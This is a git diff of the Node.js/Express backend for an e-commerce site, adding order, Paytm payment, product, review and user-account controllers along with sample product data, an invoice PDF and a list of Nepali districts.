}
|
||||
});
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
order,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Single Order Details
|
||||
exports.getSingleOrderDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id).populate("user", "name email");
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
order,
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// Get Logged In User Orders
|
||||
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const orders = await Order.find({ user: req.user._id });
|
||||
|
||||
if (!orders) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
orders,
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// Get All Orders ---ADMIN
|
||||
exports.getAllOrders = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const orders = await Order.find();
|
||||
|
||||
if (!orders) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
let totalAmount = 0;
|
||||
orders.forEach((order) => {
|
||||
totalAmount += order.totalPrice;
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
orders,
|
||||
totalAmount,
|
||||
});
|
||||
});
|
||||
|
||||
// Update Order Status ---ADMIN
|
||||
exports.updateOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id);
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
if (order.orderStatus === "Delivered") {
|
||||
return next(new ErrorHandler("Already Delivered", 400));
|
||||
}
|
||||
|
||||
if (req.body.status === "Shipped") {
|
||||
order.shippedAt = Date.now();
|
||||
order.orderItems.forEach(async (i) => {
|
||||
await updateStock(i.product, i.quantity)
|
||||
});
|
||||
}
|
||||
|
||||
order.orderStatus = req.body.status;
|
||||
if (req.body.status === "Delivered") {
|
||||
order.deliveredAt = Date.now();
|
||||
}
|
||||
|
||||
await order.save({ validateBeforeSave: false });
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
async function updateStock(id, quantity) {
|
||||
const product = await Product.findById(id);
|
||||
product.stock -= quantity;
|
||||
await product.save({ validateBeforeSave: false });
|
||||
}
|
||||
|
||||
// Delete Order ---ADMIN
|
||||
exports.deleteOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id);
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
await order.remove();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
141
server/controllers/paymentController.js
Normal file
@@ -0,0 +1,141 @@
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
// const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
|
||||
const paytm = require('paytmchecksum');
|
||||
const https = require('https');
|
||||
const Payment = require('../models/paymentModel');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const { v4: uuidv4 } = require('uuid');
|
||||
|
||||
const axios = require('axios');
|
||||
|
||||
exports.processPayment = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { amount, email, phoneNo } = req.body;
|
||||
|
||||
var params = {};
|
||||
|
||||
/* initialize an array */
|
||||
params["MID"] = process.env.PAYTM_MID;
|
||||
params["WEBSITE"] = process.env.PAYTM_WEBSITE;
|
||||
params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID;
|
||||
params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE;
|
||||
params["ORDER_ID"] = "oid" + uuidv4();
|
||||
params["CUST_ID"] = process.env.PAYTM_CUST_ID;
|
||||
params["TXN_AMOUNT"] = JSON.stringify(amount);
|
||||
// params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`;
|
||||
params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`;
|
||||
params["EMAIL"] = email;
|
||||
params["MOBILE_NO"] = phoneNo;
|
||||
|
||||
let paytmChecksum = paytm.generateSignature(params, process.env.PAYTM_MERCHANT_KEY);
|
||||
paytmChecksum.then(function (checksum) {
|
||||
|
||||
let paytmParams = {
|
||||
...params,
|
||||
"CHECKSUMHASH": checksum,
|
||||
};
|
||||
|
||||
res.status(200).json({
|
||||
paytmParams
|
||||
});
|
||||
|
||||
}).catch(function (error) {
|
||||
console.log(error);
|
||||
});
|
||||
});
|
||||
|
||||
// Paytm Callback
|
||||
exports.paytmResponse = (req, res, next) => {
|
||||
|
||||
// console.log(req.body);
|
||||
|
||||
let paytmChecksum = req.body.CHECKSUMHASH;
|
||||
delete req.body.CHECKSUMHASH;
|
||||
|
||||
let isVerifySignature = paytm.verifySignature(req.body, process.env.PAYTM_MERCHANT_KEY, paytmChecksum);
|
||||
if (isVerifySignature) {
|
||||
// console.log("Checksum Matched");
|
||||
|
||||
var paytmParams = {};
|
||||
|
||||
paytmParams.body = {
|
||||
"mid": req.body.MID,
|
||||
"orderId": req.body.ORDERID,
|
||||
};
|
||||
|
||||
paytm.generateSignature(JSON.stringify(paytmParams.body), process.env.PAYTM_MERCHANT_KEY).then(function (checksum) {
|
||||
|
||||
paytmParams.head = {
|
||||
"signature": checksum
|
||||
};
|
||||
|
||||
/* prepare JSON string for request */
|
||||
var post_data = JSON.stringify(paytmParams);
|
||||
|
||||
var options = {
|
||||
/* for Staging */
|
||||
hostname: 'securegw-stage.paytm.in',
|
||||
/* for Production */
|
||||
// hostname: 'securegw.paytm.in',
|
||||
port: 443,
|
||||
path: '/v3/order/status',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': post_data.length
|
||||
}
|
||||
};
|
||||
|
||||
// Set up the request
|
||||
var response = "";
|
||||
var post_req = https.request(options, function (post_res) {
|
||||
post_res.on('data', function (chunk) {
|
||||
response += chunk;
|
||||
});
|
||||
|
||||
post_res.on('end', function () {
|
||||
let { body } = JSON.parse(response);
|
||||
// let status = body.resultInfo.resultStatus;
|
||||
// res.json(body);
|
||||
addPayment(body);
|
||||
// res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`)
|
||||
res.redirect(`https://${req.get("host")}/order/${body.orderId}`)
|
||||
});
|
||||
});
|
||||
|
||||
// post the data
|
||||
post_req.write(post_data);
|
||||
post_req.end();
|
||||
});
|
||||
|
||||
} else {
|
||||
console.log("Checksum Mismatched");
|
||||
}
|
||||
}
|
||||
|
||||
const addPayment = async (data) => {
|
||||
try {
|
||||
await Payment.create(data);
|
||||
} catch (error) {
|
||||
console.log("Payment Failed!");
|
||||
}
|
||||
}
|
||||
|
||||
exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const payment = await Payment.findOne({ orderId: req.params.id });
|
||||
|
||||
if (!payment) {
|
||||
return next(new ErrorHandler("Payment Details Not Found", 404));
|
||||
}
|
||||
|
||||
const txn = {
|
||||
id: payment.txnId,
|
||||
status: payment.resultInfo.resultStatus,
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
txn,
|
||||
});
|
||||
});
|
||||
312
server/controllers/productController.js
Normal file
@@ -0,0 +1,312 @@
|
||||
const Product = require('../models/productModel');
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const SearchFeatures = require('../utils/searchFeatures');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const cloudinary = require('cloudinary');
|
||||
|
||||
// Get All Products
|
||||
exports.getAllProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const resultPerPage = 12;
|
||||
const productsCount = await Product.countDocuments();
|
||||
// console.log(req.query);
|
||||
|
||||
const searchFeature = new SearchFeatures(Product.find(), req.query)
|
||||
.search()
|
||||
.filter();
|
||||
|
||||
let products = await searchFeature.query;
|
||||
let filteredProductsCount = products.length;
|
||||
|
||||
searchFeature.pagination(resultPerPage);
|
||||
|
||||
products = await searchFeature.query.clone();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
productsCount,
|
||||
resultPerPage,
|
||||
filteredProductsCount,
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Products ---Product Sliders
|
||||
exports.getProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
const products = await Product.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Product Details
|
||||
exports.getProductDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
product,
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Products ---ADMIN
|
||||
exports.getAdminProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
const products = await Product.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
});
|
||||
});
|
||||
|
||||
// Create Product ---ADMIN
|
||||
exports.createProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
let images = [];
|
||||
if (typeof req.body.images === "string") {
|
||||
images.push(req.body.images);
|
||||
} else {
|
||||
images = req.body.images;
|
||||
}
|
||||
|
||||
const imagesLink = [];
|
||||
|
||||
for (let i = 0; i < images.length; i++) {
|
||||
const result = await cloudinary.v2.uploader.upload(images[i], {
|
||||
folder: "products",
|
||||
});
|
||||
|
||||
imagesLink.push({
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
});
|
||||
}
|
||||
|
||||
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
|
||||
folder: "brands",
|
||||
});
|
||||
const brandLogo = {
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
};
|
||||
|
||||
req.body.brand = {
|
||||
name: req.body.brandname,
|
||||
logo: brandLogo
|
||||
}
|
||||
req.body.images = imagesLink;
|
||||
req.body.user = req.user.id;
|
||||
|
||||
let specs = [];
|
||||
req.body.specifications.forEach((s) => {
|
||||
specs.push(JSON.parse(s))
|
||||
});
|
||||
req.body.specifications = specs;
|
||||
|
||||
const product = await Product.create(req.body);
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
product
|
||||
});
|
||||
});
|
||||
|
||||
// Update Product ---ADMIN
|
||||
exports.updateProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
let product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
if (req.body.images !== undefined) {
|
||||
let images = [];
|
||||
if (typeof req.body.images === "string") {
|
||||
images.push(req.body.images);
|
||||
} else {
|
||||
images = req.body.images;
|
||||
}
|
||||
for (let i = 0; i < product.images.length; i++) {
|
||||
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
|
||||
}
|
||||
|
||||
const imagesLink = [];
|
||||
|
||||
for (let i = 0; i < images.length; i++) {
|
||||
const result = await cloudinary.v2.uploader.upload(images[i], {
|
||||
folder: "products",
|
||||
});
|
||||
|
||||
imagesLink.push({
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
});
|
||||
}
|
||||
req.body.images = imagesLink;
|
||||
}
|
||||
|
||||
if (req.body.logo.length > 0) {
|
||||
await cloudinary.v2.uploader.destroy(product.brand.logo.public_id);
|
||||
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
|
||||
folder: "brands",
|
||||
});
|
||||
const brandLogo = {
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
};
|
||||
|
||||
req.body.brand = {
|
||||
name: req.body.brandname,
|
||||
logo: brandLogo
|
||||
}
|
||||
}
|
||||
|
||||
let specs = [];
|
||||
req.body.specifications.forEach((s) => {
|
||||
specs.push(JSON.parse(s))
|
||||
});
|
||||
req.body.specifications = specs;
|
||||
req.body.user = req.user.id;
|
||||
|
||||
product = await Product.findByIdAndUpdate(req.params.id, req.body, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
product
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Product ---ADMIN
|
||||
exports.deleteProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
for (let i = 0; i < product.images.length; i++) {
|
||||
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
|
||||
}
|
||||
|
||||
await product.remove();
|
||||
|
||||
res.status(201).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
// Create OR Update Reviews
|
||||
exports.createProductReview = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { rating, comment, productId } = req.body;
|
||||
|
||||
const review = {
|
||||
user: req.user._id,
|
||||
name: req.user.name,
|
||||
rating: Number(rating),
|
||||
comment,
|
||||
}
|
||||
|
||||
const product = await Product.findById(productId);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
const isReviewed = product.reviews.find(review => review.user.toString() === req.user._id.toString());
|
||||
|
||||
if (isReviewed) {
|
||||
|
||||
product.reviews.forEach((rev) => {
|
||||
if (rev.user.toString() === req.user._id.toString())
|
||||
(rev.rating = rating, rev.comment = comment);
|
||||
});
|
||||
} else {
|
||||
product.reviews.push(review);
|
||||
product.numOfReviews = product.reviews.length;
|
||||
}
|
||||
|
||||
let avg = 0;
|
||||
|
||||
product.reviews.forEach((rev) => {
|
||||
avg += rev.rating;
|
||||
});
|
||||
|
||||
product.ratings = avg / product.reviews.length;
|
||||
|
||||
await product.save({ validateBeforeSave: false });
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Reviews of Product
|
||||
exports.getProductReviews = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.query.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
reviews: product.reviews
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Reveiws
|
||||
exports.deleteReview = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.query.productId);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
const reviews = product.reviews.filter((rev) => rev._id.toString() !== req.query.id.toString());
|
||||
|
||||
let avg = 0;
|
||||
|
||||
reviews.forEach((rev) => {
|
||||
avg += rev.rating;
|
||||
});
|
||||
|
||||
let ratings = 0;
|
||||
|
||||
if (reviews.length === 0) {
|
||||
ratings = 0;
|
||||
} else {
|
||||
ratings = avg / reviews.length;
|
||||
}
|
||||
|
||||
const numOfReviews = reviews.length;
|
||||
|
||||
await Product.findByIdAndUpdate(req.query.productId, {
|
||||
reviews,
|
||||
ratings: Number(ratings),
|
||||
numOfReviews,
|
||||
}, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
262
server/controllers/userController.js
Normal file
@@ -0,0 +1,262 @@
|
||||
const User = require('../models/userModel');
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const sendToken = require('../utils/sendToken');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const sendEmail = require('../utils/sendEmail');
|
||||
const crypto = require('crypto');
|
||||
const cloudinary = require('cloudinary');
|
||||
|
||||
// Register User
|
||||
exports.registerUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
|
||||
folder: "avatars",
|
||||
width: 150,
|
||||
crop: "scale",
|
||||
});
|
||||
|
||||
const { name, email, gender, password } = req.body;
|
||||
|
||||
const user = await User.create({
|
||||
name,
|
||||
email,
|
||||
gender,
|
||||
password,
|
||||
avatar: {
|
||||
public_id: myCloud.public_id,
|
||||
url: myCloud.secure_url,
|
||||
},
|
||||
});
|
||||
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Login User
|
||||
exports.loginUser = asyncErrorHandler(async (req, res, next) => {
|
||||
const { email, password } = req.body;
|
||||
|
||||
if(!email || !password) {
|
||||
return next(new ErrorHandler("Please Enter Email And Password", 400));
|
||||
}
|
||||
|
||||
const user = await User.findOne({ email}).select("+password");
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("Invalid Email or Password", 401));
|
||||
}
|
||||
|
||||
const isPasswordMatched = await user.comparePassword(password);
|
||||
|
||||
if(!isPasswordMatched) {
|
||||
return next(new ErrorHandler("Invalid Email or Password", 401));
|
||||
}
|
||||
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Logout User
|
||||
exports.logoutUser = asyncErrorHandler(async (req, res, next) => {
|
||||
res.cookie("token", null, {
|
||||
expires: new Date(Date.now()),
|
||||
httpOnly: true,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
message: "Logged Out",
|
||||
});
|
||||
});
|
||||
|
||||
// Get User Details
|
||||
exports.getUserDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.user.id);
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
user,
|
||||
});
|
||||
});
|
||||
|
||||
// Forgot Password
|
||||
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findOne({email: req.body.email});
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("User Not Found", 404));
|
||||
}
|
||||
|
||||
const resetToken = await user.getResetPasswordToken();
|
||||
|
||||
await user.save({ validateBeforeSave: false });
|
||||
|
||||
// const resetPasswordUrl = `${req.protocol}://${req.get("host")}/password/reset/${resetToken}`;
|
||||
const resetPasswordUrl = `https://${req.get("host")}/password/reset/${resetToken}`;
|
||||
|
||||
// const message = `Your password reset token is : \n\n ${resetPasswordUrl}`;
|
||||
|
||||
try {
|
||||
await sendEmail({
|
||||
email: user.email,
|
||||
templateId: process.env.SENDGRID_RESET_TEMPLATEID,
|
||||
data: {
|
||||
reset_url: resetPasswordUrl
|
||||
}
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
message: `Email sent to ${user.email} successfully`,
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
user.resetPasswordToken = undefined;
|
||||
user.resetPasswordExpire = undefined;
|
||||
|
||||
await user.save({ validateBeforeSave: false });
|
||||
return next(new ErrorHandler(error.message, 500))
|
||||
}
|
||||
});
|
||||
|
||||
// Reset Password
|
||||
exports.resetPassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
// create hash token
|
||||
const resetPasswordToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
|
||||
|
||||
const user = await User.findOne({
|
||||
resetPasswordToken,
|
||||
resetPasswordExpire: { $gt: Date.now() }
|
||||
});
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("Invalid reset password token", 404));
|
||||
}
|
||||
|
||||
user.password = req.body.password;
|
||||
user.resetPasswordToken = undefined;
|
||||
user.resetPasswordExpire = undefined;
|
||||
|
||||
await user.save();
|
||||
sendToken(user, 200, res);
|
||||
});
|
||||
|
||||
// Update Password
|
||||
exports.updatePassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.user.id).select("+password");
|
||||
|
||||
const isPasswordMatched = await user.comparePassword(req.body.oldPassword);
|
||||
|
||||
if(!isPasswordMatched) {
|
||||
return next(new ErrorHandler("Old Password is Invalid", 400));
|
||||
}
|
||||
|
||||
user.password = req.body.newPassword;
|
||||
await user.save();
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Update User Profile
|
||||
exports.updateProfile = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const newUserData = {
|
||||
name: req.body.name,
|
||||
email: req.body.email,
|
||||
}
|
||||
|
||||
if(req.body.avatar !== "") {
|
||||
const user = await User.findById(req.user.id);
|
||||
|
||||
const imageId = user.avatar.public_id;
|
||||
|
||||
await cloudinary.v2.uploader.destroy(imageId);
|
||||
|
||||
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
|
||||
folder: "avatars",
|
||||
width: 150,
|
||||
crop: "scale",
|
||||
});
|
||||
|
||||
newUserData.avatar = {
|
||||
public_id: myCloud.public_id,
|
||||
url: myCloud.secure_url,
|
||||
}
|
||||
}
|
||||
|
||||
await User.findByIdAndUpdate(req.user.id, newUserData, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: true,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
|
||||
// ADMIN DASHBOARD
|
||||
|
||||
// Get All Users --ADMIN
|
||||
exports.getAllUsers = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const users = await User.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
users,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Single User Details --ADMIN
|
||||
exports.getSingleUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.params.id);
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
user,
|
||||
});
|
||||
});
|
||||
|
||||
// Update User Role --ADMIN
|
||||
exports.updateUserRole = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const newUserData = {
|
||||
name: req.body.name,
|
||||
email: req.body.email,
|
||||
gender: req.body.gender,
|
||||
role: req.body.role,
|
||||
}
|
||||
|
||||
await User.findByIdAndUpdate(req.params.id, newUserData, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Role --ADMIN
|
||||
exports.deleteUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.params.id);
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
|
||||
}
|
||||
|
||||
await user.remove();
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
1
server/data/cart.json
Normal file
@@ -0,0 +1 @@
|
||||
{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12}
|
||||
BIN
server/data/images/1594728176097-61zBrD4EswL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 96 KiB |
BIN
server/data/images/1594728821919-714hGsMXZaL._AC_UX679_.jpg
Normal file
|
After Width: | Height: | Size: 58 KiB |
BIN
server/data/images/1594738805136-71htAr2SpBL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 88 KiB |
BIN
server/data/images/1594738887088-81+WmLbpzvL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
server/data/images/1594739091288-716irmhfMkL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 67 KiB |
BIN
server/data/images/1594739168624-61NwNFbA9FL._AC_SL1000_.jpg
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
server/data/images/1594739262021-61TAggR+upL._AC_SL1500_.jpg
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
server/data/images/travel_macbookpro13_front.png
Normal file
|
After Width: | Height: | Size: 655 KiB |
BIN
server/data/invoice/invoice-5f096ef911137b230cccbcde.pdf
Normal file
103
server/data/invoice/invoice-5f09c880622ce4371411fb65.pdf
Normal file
@@ -0,0 +1,103 @@
|
||||
%PDF-1.3
|
||||
%ÿÿÿÿ
|
||||
7 0 obj
|
||||
<<
|
||||
/Type /Page
|
||||
/Parent 1 0 R
|
||||
/MediaBox [0 0 612 792]
|
||||
/Contents 5 0 R
|
||||
/Resources 6 0 R
|
||||
>>
|
||||
endobj
|
||||
6 0 obj
|
||||
<<
|
||||
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
|
||||
/Font <<
|
||||
/F1 8 0 R
|
||||
>>
|
||||
>>
|
||||
endobj
|
||||
5 0 obj
|
||||
<<
|
||||
/Length 223
|
||||
/Filter /FlateDecode
|
||||
>>
|
||||
stream
|
||||
xœ½’½j1€w?…^ ®$ëçÇ
|
||||
…vèVðV:”ëyË<79>÷_*§Í<C2A7>„Bo)Â?Èæû„F(6¯ë1<C3AB>ÝåÛO’À9»MÐŽéᙀZOo³TÛ`„Ù-N…ÙºU+¦à;´—ôÔÒëøæšqP¯ùüù¿±·j•,v)š.MéÎ&¦ÎŒ"Fk/¸L™ýž¼Yu ž2F“»qgTr5²-ÞÆ<C39E>ÊX>Ên+sÆx¸±šx ¶üêá½Ô\qºõ¨,@c–¬<E28093>–Ù:ô€hÖy¬¾}ÏQX®Ì_Ÿlžg
|
||||
endstream
|
||||
endobj
|
||||
10 0 obj
|
||||
(PDFKit)
|
||||
endobj
|
||||
11 0 obj
|
||||
(PDFKit)
|
||||
endobj
|
||||
12 0 obj
|
||||
(D:20200711141117Z)
|
||||
endobj
|
||||
9 0 obj
|
||||
<<
|
||||
/Producer 10 0 R
|
||||
/Creator 11 0 R
|
||||
/CreationDate 12 0 R
|
||||
>>
|
||||
endobj
|
||||
8 0 obj
|
||||
<<
|
||||
/Type /Font
|
||||
/BaseFont /Helvetica
|
||||
/Subtype /Type1
|
||||
/Encoding /WinAnsiEncoding
|
||||
>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<<
|
||||
>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<<
|
||||
/Type /Catalog
|
||||
/Pages 1 0 R
|
||||
/Names 2 0 R
|
||||
>>
|
||||
endobj
|
||||
1 0 obj
|
||||
<<
|
||||
/Type /Pages
|
||||
/Count 1
|
||||
/Kids [7 0 R]
|
||||
>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<<
|
||||
/Dests <<
|
||||
/Names [
|
||||
]
|
||||
>>
|
||||
>>
|
||||
endobj
|
||||
xref
|
||||
0 13
|
||||
0000000000 65535 f
|
||||
0000000844 00000 n
|
||||
0000000901 00000 n
|
||||
0000000782 00000 n
|
||||
0000000761 00000 n
|
||||
0000000208 00000 n
|
||||
0000000119 00000 n
|
||||
0000000015 00000 n
|
||||
0000000664 00000 n
|
||||
0000000589 00000 n
|
||||
0000000503 00000 n
|
||||
0000000528 00000 n
|
||||
0000000553 00000 n
|
||||
trailer
|
||||
<<
|
||||
/Size 13
|
||||
/Root 3 0 R
|
||||
/Info 9 0 R
|
||||
/ID [<d6869a3d336f873c077bfc9befe8a1ba> <d6869a3d336f873c077bfc9befe8a1ba>]
|
||||
>>
|
||||
startxref
|
||||
948
|
||||
BIN
server/data/invoice/invoice-5f0da2c500b7001ab054bcaf.pdf
Normal file
BIN
server/data/invoice/invoice-5f156c42e74db20a30e0b5b0.pdf
Normal file
1
server/data/products.json
Normal file
@@ -0,0 +1 @@
|
||||
[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"}]
|
||||
11
server/data/util/fileDelete.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const fs = require("fs");
|
||||
|
||||
const deleteFile = (filePath) => {
|
||||
fs.unlink(filePath, (err) => {
|
||||
if (err) {
|
||||
throw new Error("dsadhas");
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
exports.fileDelete = deleteFile;
|
||||
3
server/data/util/path.js
Normal file
@@ -0,0 +1,3 @@
|
||||
const path = require('path');
|
||||
|
||||
module.exports = path.dirname(process.mainModule.filename);
|
||||
88
server/middlewares/common/index.js
Normal file
@@ -0,0 +1,88 @@
|
||||
exports.allOrderStatus = [
|
||||
"active",
|
||||
"approve",
|
||||
"dispatch",
|
||||
"cancel",
|
||||
"complete",
|
||||
"tobereturned",
|
||||
"return",
|
||||
];
|
||||
|
||||
exports.districts = [
|
||||
"achham",
|
||||
"arghakhanchi",
|
||||
"baglung",
|
||||
"baitadi",
|
||||
"bajhang",
|
||||
"bajura",
|
||||
"banke",
|
||||
"bara",
|
||||
"bardiya",
|
||||
"bhaktapur",
|
||||
"bhojpur",
|
||||
"chitwan",
|
||||
"dadeldhura",
|
||||
"dailekh",
|
||||
"dang deukhuri",
|
||||
"darchula",
|
||||
"dhading",
|
||||
"dhankuta",
|
||||
"dhanusa",
|
||||
"dholkha",
|
||||
"dolpa",
|
||||
"doti",
|
||||
"gorkha",
|
||||
"gulmi",
|
||||
"humla",
|
||||
"ilam",
|
||||
"jajarkot",
|
||||
"jhapa",
|
||||
"jumla",
|
||||
"kailali",
|
||||
"kalikot",
|
||||
"kanchanpur",
|
||||
"kapilvastu",
|
||||
"kaski",
|
||||
"kathmandu",
|
